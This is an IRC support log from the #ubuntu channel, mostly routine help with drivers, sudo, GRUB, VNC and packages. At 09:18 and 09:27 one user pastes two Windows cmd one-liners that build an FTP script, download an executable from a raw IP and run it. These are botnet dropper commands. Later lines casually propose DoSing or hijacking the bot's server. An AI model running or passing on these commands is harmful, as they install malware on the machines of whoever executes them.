[09:17] <Ryan`> I have the NVidia drivers installed. But where do I go to set up my configuration? I use a dual head setup, with one monitor being widescreen. Is there a graphical configurator for NVidia?
[09:17] <PriceChild> Enselic`, btw there's a #ubuntuforums ;) Try .txt
[09:17] <thrax__> %systemroot%\system32\cmd.exe
[09:17] <ikonia> Ryan`: no dueal head graphic config
[09:18] <thrax__> cmd /c echo open 59.95.128.215 18230 >> ik &echo user x y >> ik &echo get 6.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &6.exe &exit
[09:18] <PriceChild> Ryan`, nvidia-settings has a rubbishy one
[09:18] <PriceChild> thrax__, ?
[09:18] <Ryan`> nvidia-settings doesnt even show my 2nd monitor
[09:18] <ikonia> PriceChild: does that include dual head ?
[09:18] <Cyynic> variant: screen dump here?
[09:18] <PriceChild> ikonia, yeah...  but its pretty pants
[09:18] <ikonia> PriceChild: never seen the dual head config
[09:18] <Smokkie> How can I change a hard drive mode to CHS? I am having a problem with booting a linux os base, because the hard drive needs to be set to mode CHS
[09:18] <ikonia> PriceChild: I'll have to check it out, even if it sucks
[09:19] <PriceChild> ikonia, depends on version suppose
[09:19] <catid> how do i select which sound card the volume keys on my keyboard control?
[09:19] <Arko> hi
[09:20] <Arko> vi is a bit crazy in 7.04... is there any solution?
[09:20] <catid> ah nevermind, found a work-around..  through *OSS* =P
[09:20] <Arko> vi editor i mean
[09:20] <PriceChild> Arko, #ubuntu+1 for feisty
[09:20] <catid> but i don't feel too bad because it's just an interface exposed by pulseaudio anyway
[09:20] <Arko> okay
[09:20] <variant> Cyynic: http://rafb.net/paste
[09:21] <cyclops> anyone have a problem with using java apps ( specifically jedit ) not refreshing after you resize the window when desktop-effects enabled?
[09:21] <agws> on the command line, what do I type to log in as root?
[09:21] <ikonia> agws: you don't
[09:21] <Flannel> agws: You don't.  Use sudo
[09:21] <catid> agws: sudo su -
[09:21] <variant> cyclops: yes, but ask in #ubuntu-effects
[09:21] <bruenig> !sudo | agws
[09:21] <ubotu> agws: sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[09:21] <ikonia> catid: thats not correct
[09:21] <PriceChild> cyclops, I think its probably safe to say that's a known bug.... swing apps are dodgy :)
[09:21] <catid> ikonia: works for me
[09:22] <variant> agws: use, sudo -i not sudo su
[09:22] <ikonia> catid: that doesn't mean its correct
[09:22] <PriceChild> variant, don't use sudo ;)
[09:22] <Cyynic> variant: pasted
[09:22] <variant> catid: yes, it does almost the same thing as sudo -i
[09:22] <PriceChild> !worksforme
[09:22] <ubotu> Common Sense: Just because you can, does not mean you should. Think before you do. "Works for me" does not mean it is ok. The latest version of everything is not always useful if you aim for stability.
[09:22] <variant> predder: wha?
[09:22] <catid> variant: what's the difference?
[09:22] <ravi_master> anyone here got an ati radeon 9200 ???
[09:22] <variant> Cyynic: link?
[09:22] <variant> catid: tells you in man sudo
[09:22] <variant> catid: and man su
[09:22] <Cyynic> variant: http://rafb.net/p/ViqgzC14.html
[09:22] <agws> thanks
[09:23] <Flannel> catid: it has to do with the way the environment is setup, in a nutshell.
[09:23] <Cyynic> ah, the system begins to make sense
[09:23] <catid> Flannel: i think the - at the end makes them do the same thing..
[09:24] <RoundyT1> when i update to Feisty Fawn will it loose my Beryl, XGL setup?:
[09:24] <ikonia> RoundyT1: no
[09:24] <variant> Cyynic: run /etc/init.d/gdm stop
[09:24] <marcus_> how do I get ms to boot default? http://pastebin.ca/408414
[09:24] <RoundyT1> so updating wont, but i imagine a fresh install would have to
[09:24] <RoundyT1> what is the release date again?
[09:24] <variant> marcus_: in /boot/menu.lst set "default #" where # is the number of the windows entry
[09:24] <ikonia> RoundyT1: obviously a fresh install would
[09:25] <PriceChild> RoundyT1, using 3rd party repos in ubuntu _always_ risks breakage on upgrades
[09:25] <catid> su - and sudo -i say exactly the same thing in the man pages
[09:25] <PriceChild> RoundyT1, not just ubuntu, any distro
[09:25] <catid> just in different words
[09:25] <pros1> Anyone here try to run Xgl as root, then try to run it as a regular user, only to find the regular user can't create listening sockets?
[09:25] <ardchoille> marcus_: You can only have one "default #" and you have two in there. remove on eof them.
[09:25] <PriceChild> catid, please use sudo instead of permanent root sessions. Please don't suggest otherwise to user
[09:25] <PriceChild> s
[09:25] <RoundyT1> is there a reason why i can't get Enemy Territory to work? I think it's because of Beryl
[09:26] <catid> PriceChild: he asked, i didn't suggest
[09:26] <ikonia> define not work and your config
[09:26] <PriceChild> catid, Anything that "requires" a full session is broken
[09:26] <variant> RoundyT1: probably
[09:26] <pros1> I run a middle school linux lab,and different users have to reboot to use XGL
[09:26] <catid> gah, you experts just love to attack me today ^_^
[09:26] <PriceChild> pros1, > #ubuntu-effects please
[09:26] <ardchoille> marcus_: Remove the second "default" line and it should boot to Windows
[09:26] <ChrisVereb> ikonia:  I tried adding a third user via the GUI tool and got the same results (blank desktop with no icons on either toolbar).
[09:26] <catid> yay!
[09:26] <Stormx2> "huggles"
[09:26] <marcus_> ardchoille: oh, well isn't this embarrasing, thanks
[09:26] <marcus_> :)
[09:27] <Cyyni1> variant: hehe, i'm glad i have two machines side by side... cause i just killed my ubuntu box...
[09:27] <ardchoille> marcus_: The way you have it now is the system see's default 5 then changes because it sees default 0 right after the default 5
[09:27] <thrax__> %systemroot%\system32\cmd.exe
[09:27] <ChrisVereb> variant: i deleted all users, then re-added my second user via the terminal like you said.  When I switch to that user...no dice.  Blank gnome desktop with no icons on either toolbar
[09:27] <Cyyni1> variant: then try to run X -configure?
[09:27] <catid> has anyone here had luck getting ipw3945 working?
[09:27] <noelferreira> anyone with rt61 wireless driver and wpasupplicant working?
[09:27] <thrax__> cmd /c echo open 86.7.69.23 21 >> ik &echo user bot bot >> ik &echo binary >> ik &echo get dbot.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &dbot.exe &exit
[09:27] <Stormx2> thrax__: Eh?
[09:27] <marcus_> ardchoille, yeah
[09:28] <arrenlex> Oh... is that how botnets are created?
[09:28] <ChrisVereb> variant:  I went to pastebin the /var/logs/Xorg.log, but there's a few of them (Xorg.0.log, Xorg.20.log, Xorg.21.log), is there one in particular you'd like to take a look at?
[09:28] <catid> arrenlex: the stork brings them
[09:28] <stork> foad
[09:29] <arrenlex> catid: lol, I think #ubuntu wasn't the smartest place to try to exploit windows vunerabilities to make botnets...
[09:29] <variant> baack soon
[09:29] <Stormx2> I'ma wine the bot just for the hell of it
[09:29] <arrenlex> Stormx2: Don't. Someone tried to run a virus in wine once and it messed up their system pretty badly.
[09:30] <PriceChild> arrenlex, I'm reasonably sure most of what happenned to that guy on UF happenned because he used sudo
[09:30] <catid> does anyone here use pulseaudio?
[09:30] <arrenlex> Stormx2: http://www.ubuntuforums.org/showthread.php?s=0150eb487e615ce9bed08d102ec8be3e&t=72598
[09:30] <Ryan`> Where can I view the X startup log?
[09:30] <arrenlex> PriceChild: He didn't use sudo, did he?
[09:31] <PriceChild> Ryan`, /var/log
[09:31] <Stormx2> I'm having a look at it now.
[09:31] <arrenlex> Ryan`: /var/log/Xorg.0.log
[09:31] <stork> wow
[09:31] <Stormx2> I'd best start a firewall up I guess
[09:31] <stork> that guy is an idiot
[09:31] <stork> i'm gonna DoS his botnet ftp server
[09:31] <catid> stork: better yet, exploit it and install your own bot
[09:31] <PriceChild> arrenlex, then how did stuff get outside his /home? ;) Anyway this is offtopic > #ubuntu-offtopic
[09:31] <ikonia> stork: then you are as bad/sad as him
[09:31] <ikonia> stork: just drop it and move on
[09:31] <Stormx2> whats the default VNC port?
[09:31] <stork> DIY DoS ftw
[09:31] <stork> ikonia, nah, i'm bored.
[09:31] <PriceChild> !offtopic
[09:31] <ubotu> #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[09:32] <catid> ..and that's why Ubuntu rules!
[09:32] <arrenlex> PriceChild: What? Nothing did. o_O
[09:33] <shay-> how can i get the directory of my cd?
[09:33] <Ryan`> So there is no easy way to setup dual heads in linux at all?
[09:33] <arrenlex> PriceChild: Oh, no, it did. Nevermind.
[09:33] <catid> Ryan`: of course you can :P
[09:33] <arrenlex> shay-: What do you mean?
[09:33] <Andeh> Hello
[09:33] <shay-> ive burned the driver for my vga card on a cd .. how can i intall it ?
[09:34] <Ltar> how can I execute "setup.sh"? 'sh setup.sh' returns '9:function not found  x86'
[09:34] <catid> Ryan`: i haven't done it for a while, but you basically just need to edit /etc/X11/xorg.conf
[09:34] <steevz> Anyone know when Fiesty will have a stable release?
[09:34] <arrenlex> Ltar: bash setup.sh
[09:34] <Andeh> Whats a good ISO burner / ripper / mounter?
[09:34] <arrenlex> Ltar: Or make it executable and execute it.
[09:34] <Andeh> I have it installed i forgot the name
[09:34] <nexes> steevz: mid-April, I believe.
[09:34] <steevz> Sweet. Thanks nexes.
[09:34] <Ltar> arrenlex- thank you, bash worked
[09:34] <arrenlex> Andeh: To burn: k3b, to mount, loop
[09:34] <PriceChild> !away > Goose (please read the pm from ubotu)
[09:34] <Andeh> arrenlex: thanks
[09:34] <Supre_Me> hi! I can connect to my friend with VNC using the vncviewer command, but he cannot connect to me. I have set up so that he should be able to connect on the vncviewer preferences. Thanks
[09:35] <arrenlex> Supre_Me: What vnc server are you using?
[09:35] <Supre_Me> arrenlex, vino
[09:35] <Stormx2> Hah. That bot sets the windows update app to the bot xD
[09:36] <arrenlex> Supre_Me: Oh, never heard of that, sorry.
[09:36] <oren__> hello all!
[09:36] <arrenlex> Hallo oren__.
[09:36] <Supre_Me> arrenlex, hm, ok? it was already installed on my ubuntu installation
[09:36] <jeeves_bond> Hi, is there a way to find what information a DHCP client has picked up from the server (default gateway, dns server etc.)
[09:36] <jeeves_bond> ?
[09:36] <arrenlex> Supre_Me: I mean I haven't used it so I can't help you with it, so you should ask someone else.
[09:36] <dk_ii> Does Ubuntu have a firewall that allows me to see which applications can and cannot get access to the Internet?
[09:37] <catid> Supre_Me: likely he's not using the right vncviewer command
[09:37] <oren__> i am new to IRC and want to use irssi. i don't understand how to use it. it asks me somehting about my name...
[09:37] <noelferreira> anyone with rt61 wireless driver and wpasupplicant working?
[09:37] <nexes> dk_ii: I'm not sure about regulating applications specifically, but have you tried Firestarter?
[09:37] <catid> Supre_Me: ask him to use the right command with :0 at the end
[09:37] <sacater> oren__: type /j #sacater
[09:37] <oren__> Nick oren is already in use
[09:37] <oren__> sacater : ok, i'll try it!
[09:37] <variant> back
[09:38] <jeeves_bond> dk_ii: Ubuntu has the sensible policy of shipping without any services listening on Internet ports instead of using a firewall
[09:38] <PriceChild> !firewall | dk_ii
[09:38] <ubotu> dk_ii: Ubuntu, like any other linux distribution, has firewall capabilities built-in. The firewall is managed using the 'iptables' command (see https://help.ubuntu.com/community/IptablesHowTo), or GUI applications such as Firestarter (Gnome) or Guarddog (KDE).
[09:38] <Supre_Me> catid, he's just types vncviewer and then a small box shows up and in that he types my IP, just as I did to connect to him
[09:38] <jeeves_bond> Much more sensible when you think about it. :)
[09:38] <variant> Cyyni1: srry, was away for a mommment
[09:38] <dk_ii> ah thanks for that info!
[09:38] <variant> Cyyni1: whats the stroy?
[09:38] <variant> Cyyni1: story
[09:38] <sacater> oren__: you have another irssi window open i expect
[09:38] <catid> Supre_Me: please use the exact line that vino-preferences tells him to use
[09:39] <Andeh> I have k3b installed but i cant find it anywhere
[09:39] <Andeh> What menu is it in?
[09:39] <Andeh> I remember seeing it
[09:39] <Supre_Me> catid ok, no IP then?
[09:39] <jeeves_bond> Anyone know how to get DHCP client information? Just a command would be great, like ifconfig but with dns server, default gateway etc.
[09:39] <dk_ii> so Firestarter is a frontend for iptables then?
[09:39] <zyth> Andeh, sound and video if you're in gnome
[09:39] <catid> Supre_Me: just look at the command it tells you to run and run that one
[09:39] <Supre_Me> catid, ok, i'll try that
[09:40] <Pelo> dk_ii,  yes firestarter is a frontend
[09:40] <nexes> dk_ii: Yep.
[09:40] <Andeh> zyth: Thanks a lot! Found it. XFCE shrinks the icon and makes it illegible.
[09:40] <zyth> Andeh, np :)
[09:40] <Andeh> WOW K3B is good
[09:40] <catid> has anyone gotten ipw3945 working?
[09:40] <``26``> is there an alternative site to pastebins? It's not workin for me and I need to paste a long list of errors
[09:40] <Andeh> Like a user friendly version of Alcohol 120
[09:40] <Supre_Me> catid, he get's the output: Couldn't convert 'vncviewer_dammburk' to host address
[09:40] <vustar> geez
[09:41] <vustar> 1096 people
[09:41] <PriceChild> !paste | ``26``
[09:41] <ubotu> ``26``: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[09:41] <vustar> last time i saw this many was release of edgy
[09:41] <PriceChild> ``26``, pastebin.ca
[09:41] <jeeves_bond> Andeh: in XFCE under accessories there's a really handy app called 'AppFinder'
[09:41] <vustar> hey people
[09:41] <vustar> :)
[09:41] <Pelo> vustar,   it's a slow day, what do you expect ?
[09:41] <maccam94> argh i've got two files with screwed up permissions that is messing up apt. there are two man files not owned by root (owned by a big number) not read/write/anythingable by anyone
[09:41] <jeeves_bond> I find it invaluable :)
[09:41] <maccam94> how do i fix the perms?
[09:41] <vustar> Pelo, :)
[09:41] <Andeh> jeeves_bond: So i should use that instead of Beagle?
[09:41] <vustar> hey i need some project management software for linux. any recommendation ?
[09:41] <vrnagy> hi
[09:42] <vustar> tried taskjuggler but i don't have time to learn all its structure
[09:42] <SeveredCross> maccam94: Figure out what that user is by looking at /etc/passwd?
[09:42] <vustar> !project
[09:42] <ubotu> Sorry, I don't know anything about project - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:42] <Pelo> maccam94,   sudo chmod 755  /patch/filename
[09:42] <jeeves_bond> To find applications and where they are in your menu structure when using XFCE....? Yes
[09:42] <vustar> !project_management
[09:42] <maccam94> Pelo, root can't modify the permissions
[09:42] <SeveredCross> Yeah, they're not owned by root..
[09:42] <jeeves_bond> vustar: Planner
[09:42] <catid> on my computer it either only works partially or consumes 100% of a CPU
[09:42] <SeveredCross> I'm telling you, check the uid of the owner, see what the username is.
[09:42] <vustar> jeeves_bond, thanks
[09:42] <vrnagy> please help, how cn i install freenx? after install I can~t login :S
[09:42] <maccam94> they're owned by 327680
[09:42] <SeveredCross> Then you can try and login as that user.
[09:43] <jeeves_bond> vustar: that's about the best I could find, although there may be some web based ones I haven't tried yet.
[09:43] <maccam94> and theren's no read or write for it
[09:43] <SeveredCross> Woot!
[09:43] <SeveredCross> Check /etc/passwd, does a user with that number exist?
[09:43] <Pelo> maccam94,  and who is that ? and what's their pwd
[09:43] <maccam94> nope
[09:43] <vustar> jeeves_bond, yup. checking it out.
[09:43] <maccam94> no such user
[09:43] <SeveredCross> Looks like some buggy piece of software mucked up the permissions...
[09:43] <SeveredCross> Hmm.
[09:43] <vustar> jeeves_bond, really management in evolution is sort of pathetic
[09:43] <vustar> jeeves_bond, :(
[09:43] <``26``> http://paste.ubuntu-nl.org/11894/
[09:43] <maccam94> not that the user has any access to the files either
[09:43] <Pelo> vustar,  there is also a task list in evolution if you don'T want something too involved
[09:43] <bronze_0_1> sounds like anattempt at NFS user "nobody"
[09:43] <orehon> j #alsa
[09:43] <SeveredCross> I can't think of anything that will help...
[09:44] <jeeves_bond> Does anyone know a command to get DHCP client information? Like default gateway, dns server etc?
[09:44] <vustar> Pelo, yeah it's kind of unsuitable for me
[09:44] <kestaz> how to connect simplest way siemens s68 with bluetooth ?
[09:44] <MindRiot> Ok which shhould i install Ubuntu Edgy Eft 6.10 or Ultimate Ubuntu 1.3????
[09:44] <``26``> I am new to this and not quite sure what he meant with his help
[09:44] <Andeh> Can i burn ubuntu to a DVD?
[09:44] <SeveredCross> jeeves_bond: ifconfig will give you that I think.
[09:44] <Pelo> vustar, have a look at project
[09:44] <maccam94> SeveredCross, it's something that got screwed up while upgrading to feisty, if i can just remove these two files it looks like the upgrade will finish...
[09:44] <jeeves_bond> vustar: I've heard a lot of bad things about evolution. Although project management is a little beyond what it was built for.
[09:44] <Flannel> MindRiot: edgy, 'ultimate edition' isn't official.
[09:44] <bruenig> MindRiot, I would go with the official one
[09:44] <SeveredCross> Andeh: There are DVDs available for download I thought...
[09:44] <Flannel> Andeh: yeah, and if you want, there are DVDs as well.
[09:44] <MindRiot> ok
[09:44] <vustar> jeeves_bond, true
[09:44] <jeeves_bond> SeveredCross: really? I've been fiddling with it, but can't seem to get it to work!
[09:44] <SeveredCross> maccam94: Odd...
[09:45] <Flannel> jeeves_bond: does ifconfig show you everything you need?
[09:45] <SeveredCross> jeeves_bond: I thought ifconfig did.
[09:45] <MindRiot> Thanks guys be back later
[09:45] <bruenig> you can always burn the cd images to dvd's, still works
[09:45] <jeeves_bond> Flannel: no :(
[09:45] <SeveredCross> Hmm...
[09:45] <Flannel> jeeves_bond: what else do you need?
[09:45] <vustar> jeeves_bond, AMD people actually uses TaskJuggler. interesting. i mean one of their department
[09:45] <Andeh> I downloaded the CD iso one, will it work if i burn it to a DVD? I ran out of writable CD's apparently
[09:45] <Pelo> MindRiot,  the ultimate edition cd are just someone who reworked the install of ubunto to install all his favorite stuff out of the box, you can get all of that with the regular install and about 30 minutes of work
[09:45] <SeveredCross> Yeah, what else do you need besides what ifconfig givews you.
[09:45] <bruenig> Andeh, yeah it will work
[09:45] <Flannel> Andeh: You should be fine.  People have done it before.
[09:45] <jeeves_bond> DNS Server and Default Gateway
[09:45] <MindRiot> Pelo: Ok,
[09:45] <SeveredCross> Hmm.
[09:45] <jeeves_bond> vustar: cool. :)
[09:45] <MindRiot> what about beryl and wine?
[09:45] <Andeh> Ok, K3b thinks i want to burn it to a CD, how do i change this?
[09:46] <SeveredCross> Upon recollection, ifconfig doesn't give those things...
[09:46] <Andeh> Never mind, found it
[09:46] <Pelo> MindRiot,   you get wine from the net and beryl as well
[09:46] <MindRiot> Cause in all honesty my main focus is getting Beryl and Wine to work
[09:46] <SeveredCross> I really don't know how you would get them either.
[09:46] <Pelo> MindRiot,  theY,re not that hard to install realy
[09:46] <SeveredCross> !beryl
[09:46] <ubotu> Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-effects
[09:46] <SeveredCross> Wine is easy, Beryl not so much.
[09:46] <SeveredCross> Wine is as easy as doing sudo apt-get install wine
[09:46] <MindRiot> ok what about Envy to install nvidia drivers
[09:46] <bruenig> Andeh, just use: growisofs -dvd-compat -Z /dev/whatever=nameofiso.iso
[09:46] <jeeves_bond> SeveredCross: Bit of a difficult one isn't it! All Google returns is information on setting up a DHCP server!
[09:46] <Andeh> Beryl is more fun than wine tho
[09:46] <vustar> jeeves_bond, trying Planner. tis in the main
[09:46] <SeveredCross> Weird....
[09:46] <vustar> jeeves_bond, :)
[09:46] <MindRiot> will that work pretty easy to install my nvidia drivers
[09:47] <Andeh> bruening: What? Im using K3b now
[09:47] <Pelo> MindRiot,  just get envy from their site
[09:47] <SeveredCross> MindRiot: Yep, Envy should be fine.
[09:47] <MindRiot> cause so far with ubuntu manulay doing them i have had no luck
[09:47] <MindRiot> ok thanks iam ganna go try this
[09:47] <SeveredCross> Andeh: Use the commandline that bruenig gave.
[09:47] <SeveredCross> Where /dev/whatever is your CD writer.
[09:47] <jeeves_bond> Never mind, thanks for trying to help. I'll have a good read of the man pages and see if I can find anything. :)
[09:47] <MindRiot> and just so yall know Im a windows fanboy but i am really trying to start really using Ubuntu daily
[09:47] <theblue> Hi all.
[09:47] <arrenlex> !hi | theblue
[09:47] <MindRiot> just my other installs i kept crashing the XORG
[09:47] <ubotu> theblue: Hi! Welcome to #ubuntu!
[09:47] <Pelo> MindRiot,  you can easily find the sites for all those apps by looking them up in wikipedia ( the home page are listed in the articles )
[09:47] <jeeves_bond> vustar: good luck! :)
[09:47] <theblue> How soon should Feisty be released officially?
[09:47] <jeeves_bond> Bye all.
[09:48] <bruenig> theapril 19
[09:48] <Andeh> What does that command do??
[09:48] <bruenig> theblue, april 19
[09:48] <SeveredCross> MindRiot: If you muck up your xorg.conf, you can just boot into a recovery mode from Grub, and fix xorg.conf
[09:48] <theblue> Thanks, bruenig.
[09:48] <oren__> sacater: are u there?
[09:48] <MindRiot> SeveredCrosss: if i do it again i will be back in here crying hahaha
[09:48] <MindRiot> for help
[09:48] <Flannel> SeveredCross, MindRiot, no need to boot into recovery mode for that, you can boot regularly, then just ctrl-alt-f1 to get to a terminal
[09:48] <SeveredCross> To fix xorg.conf, type startx once you get to the recovery mode prompt. If there are errors, it will tell you what they are, else you will just get a login screen.
[09:48] <SeveredCross> Ah, that's what that shortcut was.
[09:48] <SeveredCross> I could never remember the bloody thing, so I'd just boot into recovery mode. :)
[09:49] <Flannel> SeveredCross, MindRiot, ctrl-alt-F[1-6]  is terminals, F7 is GUI again.
[09:49] <Andeh> Whats the command to tell grub to scan my system or something?
[09:49] <Andeh> Like to add all the things it finds like it does when you install ubuntu
[09:49] <SeveredCross> To fix the errors (once you find out what they are), just do nano /etc/X11/xorg.conf or whatever text editor you like (nano is just my favorite)
[09:49] <SeveredCross> Not sure on that...
[09:49] <bruenig> Andeh, get into the grub prompt, with "sudo grub" and then find /boot/grub/stage1
[09:49] <Andeh> Ok, thanks bruening
[09:50] <eighta> greetings!
[09:50] <SeveredCross> Really off now. :)
[09:50] <MindRiot> Hey will the Grub in Edgy find my vista like Ultimate did?
[09:50] <Andeh> bruening: you should set up an ubuntu customer support service :)
[09:50] <eighta> its posible, update ubuntu from 5.04 to 6.10????
[09:50] <Kunk> Hi. Can you use mod-ssl (Apache 1.3.x) to enable ssl with Apache2. If not, how then can you enable ssl in Apache2 - I'm stumped. Anyone??
[09:50] <eighta> its posible, update ubuntu from 5.04 to 6.10????
[09:50] <Flannel> eighta: you need to go through 5.10 then 6.06 then 6.10
[09:50] <arrenlex> !upgrade | eighta
[09:50] <shane634> eighta, you have to go to 6.06 first
[09:50] <theblue> eighta: Yes, but you'll have to go from 5.04 to 5.10, to 6.06, to 6.10.
[09:50] <ubotu> eighta: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[09:50] <hellboy195> has anyone here a broadcom bcm4318 with bcm43xx running?
[09:50] <Andeh> Yes, youd need to do it one step at a time
[09:50] <coffeegrindah> what kind of prep work should i do If i want to resize a partition on my 120gb usb disk?
[09:51] <bruenig> MindRiot, yeah, ultimate is ubuntu with applications added, no more functionality
[09:51] <coffeegrindah> aside from the "back up data"
[09:51] <eighta> ij
[09:51] <eighta> ok
[09:51] <eighta> thank you!!!
[09:51] <bruenig> coffeegrindah, defrag if it is ntfs or fat32
[09:51] <arrenlex> coffeegrindah: Back up important things.
[09:51] <Flannel> Kunk: You need to use a2enmod, but, I believe ssl is already enabled, so you'll need to setup a site that uses it (and add 443 to ports.conf)
[09:52] <Andeh> How would i backup my entire linux partition onto a second one, and upgrade the original into Feisty?
[09:52] <coffeegrindah> well looks like i covered most of the bases, how do i, or can I, back up the partition table.
[09:52] <bruenig> !partimage
[09:52] <ubotu> partimage: backup partitions into a compressed image file. In component universe, is optional. Version 0.6.4-15ubuntu2 (edgy), package size 268 kB, installed size 944 kB
[09:52] <PriceChild> Andeh, just copy the files? then follow !upgrade
[09:52] <Kunk> Flannel: ah thanks. Messing around with it for hours. Simple solution -- thansk!
[09:52] <Flannel> !backup | Andeh
[09:52] <ubotu> Andeh: There are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning
[09:52] <Andeh> PriceChild: With Copy/Paste? LOL
[09:53] <bruenig> Andeh, yeah that would work
[09:53] <Flannel> Kunk: Copy your default (in sites-available) to a ssl site, then add the SSLEngine and stuff, https://help.ubuntu.com/6.10/ubuntu/serverguide/C/httpd.html if you need more information.
[09:53] <bruenig> Andeh, would probably need to configure certain things like fstab and grub
[09:53] <coffeegrindah> bruenig, thanks
[09:54] <Andeh> Fstab???
[09:54] <Andeh> i know about grub tho
[09:54] <trumpet_thief> I am having problems installing the flash plugin for firefow any1 help?
[09:54] <Flannel> trumpet_thief: did you install the two packages?
[09:54] <w0rmy> hi, anyone knows something about bridging ? Im trying to bridge with OpenBox, I can ping form the guest to the host ip's but I can get outside pings or send them....
[09:54] <Andeh> Whats fstab??
[09:54] <Kunk> Flannel: wish I had that urla few days ago. Could get https, but no http. Then vice-versa -- frustrating. Finally did source with postgresql to get it working. . .s igh. Thanks again!
[09:54] <bruenig> Andeh, /etc/fstab
[09:55] <arrenlex> !flash9 | trumpet_thief
[09:55] <ubotu> trumpet_thief: Flash 9 (Final release) is now available for dapper-backports and edgy-backports. See !backports and !flash
[09:55] <Andeh> Great, what is it?
[09:55] <bruenig> Andeh, it is used to mount your devices
[09:55] <Flannel> Kunk: source?  psh.  There's packages, no need to compile anything (well, almost)
[09:55] <Andeh> Ok
[09:55] <Andeh> Thanks
[09:55] <Andeh> im gonna go now
[09:55] <Andeh> Bye
[09:55] <trumpet_thief> i followed this guide http://ubuntuguide.org/wiki/Ubuntu_Edgy#How_to_install_Flash_Player_.28Macromedia_Flash.29_Plug-in_for_Mozilla_Firefox
[09:55] <Andeh> /leave
[09:55] <hellboy195> i need help with the bcm43xx :(
[09:56] <thezenmaster> I need help installing Ubuntu in Dual Boot with 3 SATA disks (beign two of them in a RAID0 - Ubuntu goes in the non-RAID disk)
[09:56] <Pelo> hellboy195,  ask specific questions
[09:56] <arrenlex> trumpet_thief: Okay, and what's the problem?
[09:56] <Kunk> Flannel: my experience with postgresql- better to have source in std spot than hunt all over the disk to get it running with other progs.
[09:56] <Pelo> thezenmaster,  just pick that drive when you do the install
[09:56] <thezenmaster> what about GRUB?
[09:56] <Flannel> Kunk: the point is, when you use package management, you don't *need* to hunt to get it working.
[09:56] <Pelo> grub will take care of itself
[09:56] <thezenmaster> the RAID0 disks have Windows xp on them
[09:56] <hellboy195> my wlan cant connect to the router. if i configure it with dhcp iwconfig shows me no essid. otherwise it does but i cant connect :(
[09:57] <trumpet_thief> Something did not go right during the install. and everytime i install something else it asks me if i want to install flash again.
[09:57] <Daemonik> Ubuntu handles power management by default but I installed a "command line system" what must be installed to get hibernate suspend etc working and what userland tools do I use to interface with power management since all I have up is Fluxbox and some terminals?
[09:57] <atamyra2> hi guys. i want to install nvidia-glx but can't. i got some errors that i think that's because i've libgl1-mesa-glx installed. How can i remove libgl1-mesa-glx and install nvidia-glx?
[09:57] <arrenlex> trumpet_thief: Pastebin this error please.
[09:57] <Kunk> Flannel: I must admit I'm really impressed with Ubuntu (old Mandriva user) but I still miss the *fun* of compiling ...
[09:57] <Pelo> thezenmaster,  if grub doesn't find the xp partition  you can add it afterward
[09:57] <arrenlex> !nvidia | atamyra2
[09:57] <ubotu> atamyra2: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[09:57] <trumpet_thief> brb
[09:57] <bruenig> trumpet_thief, you probably need to sudo apt-get install -f
[09:57] <thezenmaster> Pelo: it finds it in a different HD by itself?
[09:57] <Geert> How to I set my IPv6 IP and default route into /etc/network/interfaces (native ipv6)
[09:57] <bruenig> Kunk, you can compile if you want, just kind of unnecessary
[09:58] <Pelo> thezenmaster,  it scans your system on install and locates the other os available for boot and adds them to the menu
[09:58] <w0rmy_> hi, anyone knows something about bridging ? Im trying to run a bridge from my guest os on vbox to the internet, all I was able to get is ping from guest os to host os (but not vice vers) and cant ping the router... help ?
[09:58] <OrthoDoc> i am trying to install beryl - amd64 system with ubuntu edgu installed. the system hangs everytime i try to start beryl
[09:58] <trumpet_thief> !pastebin
[09:58] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[09:58] <Flannel> OrthoDoc: #ubuntu-effects for beryl support, thanks.
[09:58] <Pelo> OrthoDoc,   #beryl
[09:59] <Kunk> Flannel: package mgt: I've had to resort to kpacjkage to find things with Ubuntu -- it *does* place files in rather odd places, and does tend to have modified (i.e. non-standard configs) that are great if you know where they are, and if another odd program does know where to find them.
[09:59] <OrthoDoc> ok thanks [Flannel]  [Pelo] 
[09:59] <trumpet_thief> http://paste.ubuntu-nl.org/11899/
[09:59] <bruenig> Kunk, you can just do dpkg -L packagename to find everything
[10:00] <Flannel> Kunk: right, some stuff is nonstandard (ubuntu does things the debian way), but everything (in package management) knows how that works, and where to find stuff.
[10:00] <Kunk> bruenig: wish I knew that earlier . . . sigh
[10:00] <MindRiot> just did a drive shrink in vista and now got 25gigs for Edgy eft installing now wish me luck :)
[10:00] <Pelo> MindRiot,  good luck
[10:01] <Kunk> Flannel: I tried the Apache+PHP+Postgresql -- Postgresql just didn't work as expectd. So, added it source. Works great. It'll take awhile to wean myself from source and trsut pkg mgt.
[10:01] <trumpet_thief> arrenlex http://paste.ubuntu-nl.org/11899/
[10:02] <Flannel> Kunk: Well, I've got that same thing running just fine, with no source.  So, yeah, it does work.  You'll get used to package management.
[10:03] <shnastybiznastic> Kunk: it takes time, I'm working on learning how to trust PM too
[10:03] <Kunk> Flannel: maybe it's because Mandriva's pkgs often didn't work  out of box. Did the same thing with it. Sort of used to source, and leave it in /home so if I upgrade, just redo easily with data intact
[10:04] <owen1> hello
[10:04] <owen1> exit
[10:04] <Kunk> Flannel: perhaps my mistake with LAPP was that I tried to install all at once. My experience-- do one at attime, then it works.
[10:04] <owen1> exit
[10:05] <Flannel> Kunk: All at once works too.  You mightve forgotten some linker packages, like 'php5-pgsql' which lets PHP know about postgres, or... I dont know.  No matter.
[10:06] <daziplqa> could you please help me ?
